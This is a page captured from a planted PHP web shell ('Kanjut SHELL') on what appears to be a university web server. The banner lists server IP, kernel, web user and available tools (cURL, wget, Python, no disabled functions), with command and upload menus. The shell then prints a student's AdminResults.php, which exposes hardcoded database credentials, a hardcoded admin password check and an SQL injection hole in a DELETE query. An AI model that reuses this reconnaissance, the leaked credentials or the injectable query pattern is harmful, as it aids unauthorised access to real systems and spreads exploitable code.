Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.140.232
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/clang/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/clang/public_html/AdminResults.php
<?php   session_start();

/*      AdminResults.php

        Author: Casey Lang
        Instructor: Dr. Wang
        Due: April 17, 2022
        Goal: Create a form that removes the selected entry and then shows the content of the evaluation table. 
*/


       
        $pass = $_SESSION['psw'];
        if($pass != "Admin")
                print "go away.";
        else
        {
        $remove = $_POST['remove'];

        $host = 'localhost';
        $user = 'clang';
        $passwd = 'CS389';
        $database = 'clang';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "DELETE FROM EVALUATION WHERE ID='$remove'";
        mysqli_select_db($connect, $database);

	mysqli_query($connect, $query);
	


	$query = "ALTER TABLE EVALUATION DROP ID";
        mysqli_select_db($connect, $database);

        mysqli_query($connect, $query);
                
	$query = "ALTER TABLE EVALUATION AUTO_INCREMENT = 1";
        mysqli_select_db($connect, $database);

        mysqli_query($connect, $query);

	$query = "ALTER TABLE EVALUATION ADD ID int UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST";
        mysqli_select_db($connect, $database);

        mysqli_query($connect, $query);


?>
 <center>
<H2>Display Table</H2>
<HR>
<?php
        $host = 'localhost';
        $user = 'clang';
        $passwd = 'CS389';
        $database = 'clang';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "select * from EVALUATION";
        mysqli_select_db($connect, $database);
        $result_id = mysqli_query($connect, $query);
        if($result_id)
        {
                print '<table border=1>';
                print '<TH> ID <TH> GENDER <TH> STATUS <TH> COURSE <TH> ENJOYMENT <TH> USEFULNESS <TH> WORKLOAD';
                while($row = mysqli_fetch_row($result_id))
                {       print '<TR>';
                        foreach ($row as $field)
                                print "<TD> $field </TD> ";
                        print '</TR>';
                }
                print '</table>';
}
}
?>

Stv3n404 - 2023